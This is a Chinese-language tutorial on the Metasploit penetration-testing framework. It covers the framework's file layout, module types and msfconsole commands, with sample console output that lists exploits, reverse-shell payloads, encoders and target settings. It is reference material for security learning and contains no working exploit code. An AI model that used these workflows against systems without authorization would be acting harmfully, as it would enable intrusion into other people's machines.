Metasploit

一、Metasploit是什么?

  Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

二、Metasploit体系结构

1 Metasploit 文件系统和库

1.1了解Metasploit体系结构

通过仔细观察,可以更轻松地了解Metasploit Architecture。在学习如何使用Metasploit时,花点时间让自己熟悉它的文件系统和库。

 

1.2 Metasploit文件系统

该MSF文件系统是一个直观的方式布置,并通过目录组织。

  • data:Metasploit使用的可编辑文件
  • documentation:为框架提供文档
  • external:源代码和第三方库
  • lib:框架代码库
  • modules:实际的MSF模块
  • plugins:可以在运行时加载的插件
  • scripts:Meterpreter和其他脚本
  • tools:各种有用的命令行工具

1.3 Metasploit库

在“MSF库(指lib文件夹)”帮助我们,而无需编写额外的代码基本的任务,例如HTTP请求或有效载荷的编码运行我们的漏洞。

Rex

  • 大多数任务的基本库
  • 处理套接字,协议,文本转换和其他
  • SSL,SMB,HTTP,XOR,Base64,Unicode

Msf::Core

  • 提供'基本'API
  • 定义Metasploit框

 

Msf::Base

  • 提供'友好'API
  • 提供在框架中使用的简化API

2 Metasploit 模块和位置

Metasploit Framework由许多的模块组成的。

2.1 Exploits(漏洞模块)

  • 定义为使用“有效载荷(payloads)”的模块
  • 没有“有效载荷”的攻击是辅助模块

2.2 Payloads, Encoders, Nops(有效载荷,编码器,空指令模块)

  • “有效载荷”由远程运行的代码组成
  • ”编码器“确保“有效载荷”到达目的地
  • “Nops”保持“有效载荷”大小一致

2.3 主模块 路径

  • 位于/usr/share/metasploit-framework/modules/

2.4 用户指定的模块 路径

  • 位于~/.msf4/modules/
  • 这个位置非常适合私人模块集

2.5 加载其它模块 路径

Metasploit为您提供了在运行时或msfconsole已启动后自由加载模块的功能。运行msfconsole以在运行时加载时传递-m选项:

msfconsole -m ~/.msf4/modules/

注意:

  如果你需要运行后加载额外的模块,使用Metasploit工具 loadpath 命令:

用法: loadpath </path/to/modules>

总结:Metasploit目前总共有以下几种模块:

  • Auxiliary:辅助
  • Encoders:编码器
  • NOP:空指令
  • Exploits:漏洞利用
  • Payloads:有效载荷
  • Post:后期开发(大致意思是攻破主机后需要用上的模块)

3 Metasploit 对象模块

Metasploit Framework,中,所有模块都是Ruby类。

Ruby,一种简单快捷的面向对象(面向对象程序设计)脚本语言。

  • 模块从类型特定的类继承
  • 特定于类型的类继承自Msf :: Module类
  • 模块之间有一个共享的公共API

Payloads(有效载荷)”略有不同。

  • “Payloads(有效负载)”是在运行时从各个组件创建的
  • 将各阶段的舞台粘合在一起

 

4 Metasploit Mixins(混合)和插件

快速转换到Ruby。

Ruby 是一种开源的面向对象程序设计的服务器端脚本语言。

  • 每个班级只有一位家长
  • 一个类可能包含许多模块
  • 模块可以添加新的方法
  • 模块可以重载旧的方法
  • Metasploit模块继承Msf :: Module并包含mixins以添加特征。

Metasploit Mixins

Mixins很简单,Ruby之所以如此。

  • Mixins'包括'一个类到另一个类
  • 这与继承有所不同并且相似
  • Mixin可以覆盖类的方法

Mixins可以添加新功能,并允许模块具有不同的“风格”。

  • 协议特定(即:HTTP,SMB)
  • 行为特定(即:蛮力)
  • connect()由TCP mixin实现
  • 然后,connect()会被FTP,SMB等过载。

 

Mixins可以改变行为。

  • 扫描器mixin重载run()
  • 扫描程序对run_host()和run_range()进行更改run()
  • 它根据THREADS设置并行调用这些参数
  • BruteForce mixin是相似的

5.Metasploit插件

插件直接与API协同工作。

  • 他们操纵整个框架
  • 插件钩入事件子系统
  • 它们可以自动执行特定的任务,这些任务手动操作会很麻烦

插件只能在msfconsole中运行。

  • 插件可以添加新的控制台命令
  • 它们扩展了整个框架功能

三、 Metasploit框架 MSFconsole命令 详解

1.MSFconsole有许多不同的命令选项可供选择。以下是Metasploit命令的核心组合,并参考其格式。

 

back         从当前上下文返回
banner     显示一个很棒的metasploit横幅
cd             更改当前的工作目录
color        切换颜色
connect   与主机通信
edit          使用$ VISUAL或$ EDITOR编辑当前模块
exit          退出控制台
get          特定于上下文的变量的值
getg        获取全局变量的值
go_pro    启动Metasploit Web GUI

 

grep      Grep另一个命令的输出
help       菜单
info       显示有关一个或多个模块的信息
irb         进入irb脚本模式
jobs       显示和管理工作
kill         杀死一份工作
load       加载一个框架插件
loadpath     搜索并加载路径中的模块
makerc        保存从开始到文件输入的命令
popm          将最新的模块从堆栈弹出并使其处于活动状态

 

previous         将之前加载的模块设置为当前模块
pushm            将活动或模块列表推入模块堆栈
quit                 退出控制台
reload_all         重新加载所有定义的模块路径中的所有模块
rename_job     重命名作业
resource          运行存储在文件中的命令
route               通过会话路由流量
save                保存活动的数据存储
search             搜索模块名称和说明
sessions          转储会话列表并显示有关会话的信息

 

set        将特定于上下文的变量设置为一个值
setg      将全局变量设置为一个值
show     显示给定类型的模块或所有模块
sleep     在指定的秒数内不执行任何操作
spool     将控制台输出写入文件以及屏幕
threads   查看和操作后台线程
unload    卸载框架插件
unset      取消设置一个或多个特定于上下文的变量
unsetg    取消设置一个或多个全局变量
use         按名称选择模块
version   显示框架和控制台库版本号

2.back

一旦你完成了一个特定的模块的工作,或者你无意中选择了错误的模块,你可以发出back命令移出当前的上下文。但是,这不是必需的。就像在商用路由器中一样,您可以从其他模块中切换模块。提醒一下,变量只有在全球范围内设定后才能继续。

msf auxiliary(ms09_001_write) > back
msf >

 3.banner

只需显示随机选择的横幅

msf > banner

 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v4.16.8-dev                          ]
+ -- --=[ 1684 exploits - 964 auxiliary - 299 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

4.check

支持它的漏洞并不多,但也有一个check选项,用于检查目标是否容易受到特定漏洞攻击,而不是实际利用漏洞。

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.194.134   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > check

[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf  exploit(ms08_067_netapi) >

5.color

如果通过msfconsole获得的输出将包含颜色,则可以启用或禁用颜色输出。

msf > color
Usage: color <'true'|'false'|'auto'>

Enable or disable color output.

msf > color false

6.connect

msfconsole内置了一个微型Netcat克隆,它支持SSL,代理服务器,枢纽和文件传输。

通过使用IP地址和端口号发出connect命令,您可以像使用Netcat或Telnet一样,从msfconsole连接到远程主机。

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2018 NewMedia-NET GmbH
Release: 04/17/18 (SVN revision: 10011)
DD-WRT login:

您可以通过发出“-h”参数来查看所有附加选项。

msf > connect -h
用法:
connect [选项]
描述:
与主机通信,类似于通过netcat进行交互,利用任何配置的会话透视。
选项:
-C               尝试将CRLF用于EOL序列。
-P <opt>    指定源端口。
-S <opt>    指定源地址。
-c <opt>    指定使用哪个Comm。
-h               帮助横幅。
-i <opt>    发送文件的内容。
-p <opt>   使用的代理列表。
-s               使用SSL连接。
-u               切换到UDP套接字。
-w <opt>   定连接超时。
-z               试着连接,然后返回。

7.edit

该edit命令将edit与$ VISUAL或$ EDITOR当前模块。默认情况下,这将在Vim中打开当前模块。

msf > use exploit/windows/smb/ms10_061_spoolss
msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/windows_error'

class Metasploit3 > Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})

8.exit

在exit命令会退出msfconsole。

msf exploit(ms10_061_spoolss) > exit
root@kali:~#

9.grep

该grep的命令类似的Linux的grep。它匹配来自另一个msfconsole命令输出的给定模式。

以下是使用grep从包含字符串“oracle”的模块搜索中匹配包含字符串“http”的输出的示例。

msf > grep
用法:
grep [options] pattern cmd
grep [选项] 匹配词  命令

描述:
grep控制台命令的结果(类似于Linux grep命令)

选项:
-A <opt>     显示输出的参数行匹配后。
-B <opt>     在匹配前显示输出的参数行。
-c                 仅打印匹配行数。
-h                帮助横幅。
-i                 忽略大小写。
-k <opt>     在输出开始处保持(包含)arg行。
-m <opt>    在arg匹配后停止。
-s <opt>      在尝试匹配之前跳过输出的arg行。
-v                 反转匹配。

10.help

该help命令会给你所有可用命令的列表和小描述。

msf>help

11.info

该info命令将提供包括所有选项,目标和其它信息的特定模块的详细信息。请务必在使用之前始终阅读模块说明,因为有些可能会产生不希望的效果。

info命令还提供了以下信息:

  • 作者和许可信息
  • 漏洞引用(即:CVE,BID等)
  • 模块可能具有的任何有效负载限制
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index
[-] Invalid module: info

       Name: MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-09-07

Provided by:
  Laurent Gaffie <laurent.gaffie@gmail.com>
  hdm <x@hdm.io>
  sf <stephen_fewer@harmonysecurity.com>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port (TCP)
  WAIT   180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in 
  the SMB request validation code of the SRV2.SYS driver included with 
  Windows Vista, Windows 7 release candidates (not RTM), and Windows 
  2008 Server prior to R2. Windows Vista without SP1 does not seem 
  affected by this flaw.

References:
  https://technet.microsoft.com/en-us/library/security/MS09-050
  https://cvedetails.com/cve/CVE-2009-3103/
  http://www.securityfocus.com/bid/36299
  OSVDB (57799)
  http://seclists.org/fulldisclosure/2009/Sep/0039.html
  http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx

msf exploit(ms09_050_smb2_negotiate_func_index) > 

12.irb

运行irb命令将会让你进入一个真实的Ruby解释器shell,你可以在其中发布命令并创建Metasploit脚本。这个特性对于理解框架的内部也很有用。

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!
=> nil
>> Framework::Version
=> "4.16.8-dev"
13.jobs

jobs是在后台运行的模块。该jobs命令提供列出和终止这些jobs的能力。

msf > jobs -h
用法:
jobs  [选项]
描述:
积极的jobs操作和交互。

选项:
-K                终止所有正在运行的作业。
-S <opt>    行搜索过滤器。
-h               帮助横幅。
-i <opt>     列出有关正在运行的作业的详细信息。
-k <opt>    按作业ID和/或范围终止作业。
-l                列出所有正在运行的作业。
-v               打印更多详细信息。 与-i和-l一起使用

14.kill

使用jobs ID提供的kill命令将会终止任何正在运行的jobs。和linux中的kill相似;

msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...

[*] Server stopped.

15.load

该load命令加载从Metasploit工具的插件 插件目录。参数在shell上以key = val的形式传递。

msf > load
用法:
load <选项> [var=val var=val ...]

描述:
从提供的路径加载插件。

选项:
有关内置插件的列表,请执行以下操作:load -l
可选的var = val选项是可以传递给插件的自定义参数。
msf > load pcap_log
[*] PcapLog plugin loaded.
[*] Successfully loaded plugin: pcap_log
msf > 

16.loadpath

该loadpath命令将加载第三部分模块树的路径,这样你可以在你的0-day,encoders(编码器),payloads(有效载荷)等成为一个Metasploit拥有更多漏洞工具集合;

msf > loadpath /home/secret/modules
Loaded 0 modules.

17.unload

相反,unload命令会卸载先前加载的插件并删除所有扩展的命令。

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.

18.resource

该resource命令运行资源(批)可以通过msfconsole载入的文件。

msf > resource
用法:
resource path1 [path2 ...]

描述:
运行存储在提供的文件中的命令。 资源文件也可能包含代码之间的ruby代码。
另见:makerc

一些攻击,如Karmetasploit,使用资源文件在运行一组命令karma.rc文件中创建的攻击。稍后,我们将讨论在Karmetasploit之外,这可能非常有用。

msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc_.txt)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc_.txt)> use auxiliary/server/browser_autopwn

批处理文件可以大大加快测试和开发时间,并允许用户自动完成许多任务。除了从msfconsole加载批处理文件外,还可以使用-r标志在启动时传递它们。

下面的简单示例创建一个批处理文件,以在启动时显示Metasploit版本号。

root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v4.16.8-dev                          ]
+ -- --=[ 1684 exploits - 964 auxiliary - 299 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.16.8-dev
Console  : 4.16.8-dev

19.route

Metasploit中的“route”命令允许您通过session或'comm'路由套接字,从而提供基本的旋转功能。要添加路由,请传递目标子网和网络掩码,然后传递session (comm) 号码。

msf > route -h

通过提供的会话将流量发往指定的子网。
用法:
route [add/remove] subnet netmask [comm/sid]
route [add/remove] cidr [comm/sid]
route [get]
route [flush]
route [print]

 
子命令:
add - 制作新路线
remove - 删除路线; 'del'是一个别名
flush - 删除所有路线
get - 显示给定目标的路线
print - 显示所有活动路线

 
例子:
通过session 1为从192.168.0.0到192.168.0.0的所有主机添加路由
route add 192.168.0.0 255.255.255.0 1
route add 192.168.0.0/24 1

 
删除上述路线
route remove 192.168.0.0/24 1
route del 192.168.0.0 255.255.255.0 1

 
显示将用于给定主机或网络的路线
route get 192.168.0.11

20.search

msfconsole包含广泛的基于正则表达式的搜索功能。如果您对所查找内容有一个大致的了解,则可以通过搜索进行搜索。在下面的输出中,正在搜索MS Bulletin MS09-011。搜索功能将在模块名称,描述,引用等内找到该字符串。

请注意,Metasploit模块的命名约定使用下划线和连字符。

msf > search usermap_script

21.help

您可以使用内置的关键字系统进一步优化您的搜索。

msf > help search
用法:
search  [关键字]

关键词:
app:客户端或服务器攻击的模块
author:这个作者写的模块
bid:具有匹配的Bugtraq ID的模块
cve:具有匹配CVE ID的模块
edb:具有匹配的Exploit-DB ID的模块
name:具有匹配描述性名称的模块
platform:影响这个平台的模块
ref:具有匹配参考的模块
type:特定类型的模块(exploit,auxiliary或post)

例子:
search cve:2009 type:exploit app:client

22.name

要使用描述性名称进行搜索,请使用name关键字。

msf > search name:mysql

Matching Modules
================

   Name                                               Disclosure Date  Rank       Description
   ----                                               ---------------  ----       -----------
   auxiliary/admin/mysql/mysql_enum                                    normal     MySQL Enumeration Module
   auxiliary/admin/mysql/mysql_sql                                     normal     MySQL SQL Generic Query
   auxiliary/analyze/jtr_mysql_fast                                    normal     John the Ripper MySQL Password Cracker (Fast Mode)
   auxiliary/scanner/mysql/mysql_authbypass_hashdump  2012-06-09       normal     MySQL Authentication Bypass Password Dump
   auxiliary/scanner/mysql/mysql_file_enum                             normal     MYSQL File/Directory Enumerator
   auxiliary/scanner/mysql/mysql_hashdump                              normal     MYSQL Password Hashdump
   auxiliary/scanner/mysql/mysql_login                                 normal     MySQL Login Utility
   auxiliary/scanner/mysql/mysql_schemadump                            normal     MYSQL Schema Dump
   auxiliary/scanner/mysql/mysql_version                               normal     MySQL Server Version Enumeration
   auxiliary/scanner/mysql/mysql_writable_dirs                         normal     MYSQL Directory Write Test
   auxiliary/server/capture/mysql                                      normal     Authentication Capture: MySQL
   exploit/linux/mysql/mysql_yassl_getname            2010-01-25       good       MySQL yaSSL CertDecoder::GetName Buffer Overflow
   exploit/linux/mysql/mysql_yassl_hello              2008-01-04       good       MySQL yaSSL SSL Hello Message Buffer Overflow
   exploit/windows/mysql/mysql_mof                    2012-12-01       excellent  Oracle MySQL for Microsoft Windows MOF Execution
   exploit/windows/mysql/mysql_payload                2009-01-16       excellent  Oracle MySQL for Microsoft Windows Payload Execution
   exploit/windows/mysql/mysql_start_up               2012-12-01       excellent  Oracle MySQL for Microsoft Windows FILE Privilege Abuse
   exploit/windows/mysql/mysql_yassl_hello            2008-01-04       average    MySQL yaSSL SSL Hello Message Buffer Overflow
   exploit/windows/mysql/scrutinizer_upload_exec      2012-07-27       excellent  Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential

23.platform

您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。

msf > search platform:aix

Matching Modules
================

   Name                                      Disclosure Date  Rank       Description
   ----                                      ---------------  ----       -----------
   exploit/aix/local/ibstat_path             2013-09-24       excellent  ibstat $PATH Privilege Escalation
   exploit/aix/rpc_cmsd_opcode21             2009-10-07       great      AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
   exploit/aix/rpc_ttdbserverd_realpath      2009-06-17       great      ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
   payload/aix/ppc/shell_bind_tcp                             normal     AIX Command Shell, Bind TCP Inline
   payload/aix/ppc/shell_find_port                            normal     AIX Command Shell, Find Port Inline
   payload/aix/ppc/shell_interact                             normal     AIX execve Shell for inetd
   payload/aix/ppc/shell_reverse_tcp                          normal     AIX Command Shell, Reverse TCP Inline
   post/aix/hashdump                                          normal     AIX Gather Dump Password Hashes
   post/multi/manage/sudo                                     normal     Multiple Linux / Unix Post Sudo Upgrade Shell
   post/multi/recon/local_exploit_suggester                   normal     Multi Recon Local Exploit Suggester

24.type

使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。

msf > search type:post

Matching Modules
================

   Name                                                Disclosure Date  Rank    Description
   ----                                                ---------------  ----    -----------
   post/linux/gather/checkvm                                            normal  Linux Gather Virtual Environment Detection
   post/linux/gather/enum_cron                                          normal  Linux Cron Job Enumeration
   post/linux/gather/enum_linux                                         normal  Linux Gather System Information
...略...

24.author

使用author关键字搜索可让您搜索您最喜爱的作者的模块。

msf > search author:dookie

Matching Modules
================

   Name                                                       Disclosure Date  Rank     Description
   ----                                                       ---------------  ----     -----------
   exploit/osx/http/evocam_webserver                          2010-06-01       average  MacOS X EvoCam HTTP GET Buffer Overflow
   exploit/osx/misc/ufo_ai                                    2009-10-28       average  UFO: Alien Invasion IRC Client Buffer Overflow
   exploit/windows/browser/amaya_bdo                          2009-01-28       normal   Amaya Browser v11.0 'bdo' Tag Overflow
   exploit/windows/browser/communicrypt_mail_activex          2010-05-19       great    CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow
   exploit/windows/browser/mozilla_reduceright                2011-06-21       normal   Mozilla Firefox Array.reduceRight() Integer Overflow
   exploit/windows/browser/nctaudiofile2_setformatlikesample  2007-01-24       normal   NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow
   exploit/windows/fileformat/a_pdf_wav_to_mp3                2010-08-17       normal   A-PDF WAV to MP3 v1.0.0 Buffer Overflow
   exploit/windows/fileformat/adobe_illustrator_v14_eps       2009-12-03       great    Adobe Illustrator CS4 v14.0.0
   exploit/windows/fileformat/audio_wkstn_pls                 2009-12-08       good     Audio Workstation 6.4.2.4.3 pls Buffer Overflow
   exploit/windows/fileformat/audiotran_pls                   2010-01-09       good     Audiotran 1.4.1 (PLS File) Stack Buffer Overflow
   exploit/windows/fileformat/fatplayer_wav                   2010-10-18       normal   Fat Player Media Player 0.6b0 Buffer Overflow
   exploit/windows/fileformat/feeddemon_opml                  2009-02-09       great    FeedDemon Stack Buffer Overflow
   exploit/windows/fileformat/foxit_title_bof                 2010-11-13       great    Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
   exploit/windows/fileformat/ideal_migration_ipj             2009-12-05       great    PointDev IDEAL Migration Buffer Overflow
   exploit/windows/fileformat/millenium_mp3_pls               2009-07-30       great    Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow
   exploit/windows/fileformat/somplplayer_m3u                 2010-01-22       great    S.O.M.P.L 1.0 Player Buffer Overflow
   exploit/windows/fileformat/varicad_dwb                     2010-03-17       great    VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow
   exploit/windows/fileformat/wm_downloader_m3u               2010-07-28       normal   WM Downloader 3.1.2.2 Buffer Overflow
   exploit/windows/ftp/trellian_client_pasv                   2010-04-11       normal   Trellian FTP Client 3.01 PASV Remote Buffer Overflow
   exploit/windows/ftp/xftp_client_pwd                        2010-04-22       normal   Xftp FTP Client 3.0 PWD Remote Buffer Overflow
   exploit/windows/misc/eureka_mail_err                       2009-10-22       normal   Eureka Email 2.2q ERR Remote Buffer Overflow
   exploit/windows/misc/hp_omniinet_4                         2011-06-29       good     HP OmniInet.exe Opcode 20 Buffer Overflow
   exploit/windows/misc/nettransport                          2010-01-02       normal   NetTransport Download Manager 2.90.510 Buffer Overflow
   exploit/windows/misc/ufo_ai                                2009-10-28       average  UFO: Alien Invasion IRC Client Buffer Overflow

25.multiple

还可以将multiple关键字组合在一起以进一步缩小返回的结果。

msf > search cve:2011 author:jduck platform:linux

Matching Modules
================

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  NetSupport Manager Agent Remote Buffer Overflow

26.sessions

该sessions命令可以列出,互动,并杀死催生了sessions。sessions可以是shell,Meterpreter会话,VNC等。

msf > sessions -h
用法:
sessions [选项] 或 sessions [ID]

描述:
活动的会话操作和交互。

选项:
-C <opt>       对使用-i或全部给定的会话运行Meterpreter命令
-K                  终止所有会话
-c <opt>       在由-i或全部给定的会话上运行命令
-h                  帮助横幅
-i <opt>       与提供的会话ID进行交互
-k <opt>      按会话ID和/或范围终止会话
-l                   列出所有活动会话
-q                  安静模式
-r                  重置用-i或全部给定的会话的环形缓冲区
-s <opt>      在与-i或全部给定的会话上运行脚本
-t <opt>      设置响应超时(默认值:15-u <opt>     在许多平台上将shell升级到meterpreter会话
-v                 以详细模式列出会话
-x                 在会话表中显示扩展信息
许多选项允许使用逗号和破折号指定会话范围。


例如:
sessions -s checkvm -i 1,3-5 或者 sessions -k 1-2,5,6

27.set

该set命令允许您配置框架选项和参数为你正在使用的当前模块。

msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134
msf auxiliary(ms09_050_smb2_negotiate_func_index) > show options

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  172.16.194.134   yes       The target address
   RPORT  445              yes       The target port
   WAIT   180              yes       The number of seconds to wait for the attack to complete.

Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)

Metasploit还允许您设置“encoder(编码器)”以在运行时使用。如果您不确定哪种“payload(有效负载”)编码方法适用于给定的漏洞攻击,那么这对于攻击开发尤其有用。

msf exploit(ms09_050_smb2_negotiate_func_index) > show encoders

Compatible Encoders
===================

   Name                          Disclosure Date  Rank       Description
   ----                          ---------------  ----       -----------
   generic/eicar                                  manual     The EICAR Encoder
   generic/none                                   normal     The "none" Encoder
   x86/add_sub                                    manual     Add/Sub Encoder
   x86/alpha_mixed                                low        Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper                                low        Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_underscore_tolower                   manual     Avoid underscore/tolower
   x86/avoid_utf8_tolower                         manual     Avoid UTF8/tolower
   x86/bloxor                                     manual     BloXor - A Metamorphic Block Based XOR Encoder
   x86/bmp_polyglot                               manual     BMP Polyglot
   x86/call4_dword_xor                            normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                              manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                               manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                               manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                                  normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                                normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                          normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                                   low        Non-Alpha Encoder
   x86/nonupper                                   low        Non-Upper Encoder
   x86/opt_sub                                    manual     Sub Encoder (optimised)
   x86/service                                    manual     Register Service
   x86/shikata_ga_nai                             excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                          manual     Single Static Bit
   x86/unicode_mixed                              manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                              manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

28.unset

当然,set命令的相反部分是unset的。unset会删除以前使用set进行配置的参数。您可以全部取消全部删除所有分配的变量。

msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set

Global
======

  Name     Value
  ----     -----
  RHOSTS   192.168.1.0/24
  THREADS  50

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set

Global
======

No entries in data store.

29.setg

为了在pentest中节省大量输入,可以在msfconsole中设置全局变量。你可以用setg命令来做到这一点。一旦这些设置完成,您就可以在任意多个漏洞利用和辅助模块中使用它们。您也可以将它们保存下次启动msfconsole时使用。然而,陷阱是忘记了你已经保存了全局变量,所以在运行或利用之前总是检查你的选项。相反,您可以使用unsetg命令取消设置全局变量。在下面的例子中,变量以全部大写形式输入(即:LHOST),但Metasploit不区分大小写,因此没有必要这样做。

msf> setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf> setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf> setg RHOST 192.168.1.136 
RHOST => 192.168.1.136

设置完不同的变量后,您可以运行save命令来保存当前的环境和设置。保存设置后,它们将在启动时自动加载,这样就不必再次设置所有内容。

msf > save
Saved configuration to: /root/.msf4/config
msf >

30.show

在msfconsole提示符下输入show会显示Metasploit中的每个模块。

msf > show

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
   cmd/generic_sh                           good       Generic Shell Variable Substitution Command Encoder
   cmd/ifs                                  low        Generic ${IFS} Substitution Command Encoder
   cmd/printf_php_mq                        manual     printf(1) via PHP magic_quotes Utility Command Encoder
...略...

您可以使用许多show命令,但您最常使用的命令是:show auxiliary, show exploits, show payloads, show encoders 和 show nops .

31.auxiliary

执行show exploits将显示Metasploit中所有可用辅助模块的列表。如前所述,辅助模块包括扫描器,拒绝服务模块,模糊器等。

msf > show auxiliary
Auxiliary
=========

   Name                                                  Disclosure Date  Rank    Description
   ----                                                  ---------------  ----    -----------
   admin/2wire/xslt_password_reset                       2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability
   admin/backupexec/dump                                                  normal  Veritas Backup Exec Windows Remote File Access
   admin/backupexec/registry                                              normal  Veritas Backup Exec Server Registry Access
...略...

32.exploits

自然,显示“exploits(漏洞利用)”将是你最感兴趣的命令,因为Metasploit的核心是关于漏洞。运行显示漏洞获取框架中包含的所有漏洞列表。

msf > show exploits

Exploits
========

   Name                                                           Disclosure Date  Rank       Description
   ----                                                           ---------------  ----       -----------
   aix/rpc_cmsd_opcode21                                          2009-10-07       great      AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
   aix/rpc_ttdbserverd_realpath                                   2009-06-17       great      ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
   bsdi/softcart/mercantec_softcart                               2004-08-19       great      Mercantec SoftCart CGI Overflow
...略...

33.MSFconsole Payloads

运行显示Payloads将显示Metasploit中所有可用平台的所有不同Payloads。

msf > show payloads

Payloads
========

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   aix/ppc/shell_bind_tcp                                            normal  AIX Command Shell, Bind TCP Inline
   aix/ppc/shell_find_port                                           normal  AIX Command Shell, Find Port Inline
   aix/ppc/shell_interact                                            normal  AIX execve shell for inetd
...略...

34.payloads

正如你所看到的,有很多可用的payloads。幸运的是,当您处于特定漏洞利用的模块时,运行的show payload将仅显示与该漏洞兼容的payloads。

例如,如果它是Windows漏洞利用,则不会显示Linux的“payloads(有效负载)”。

msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
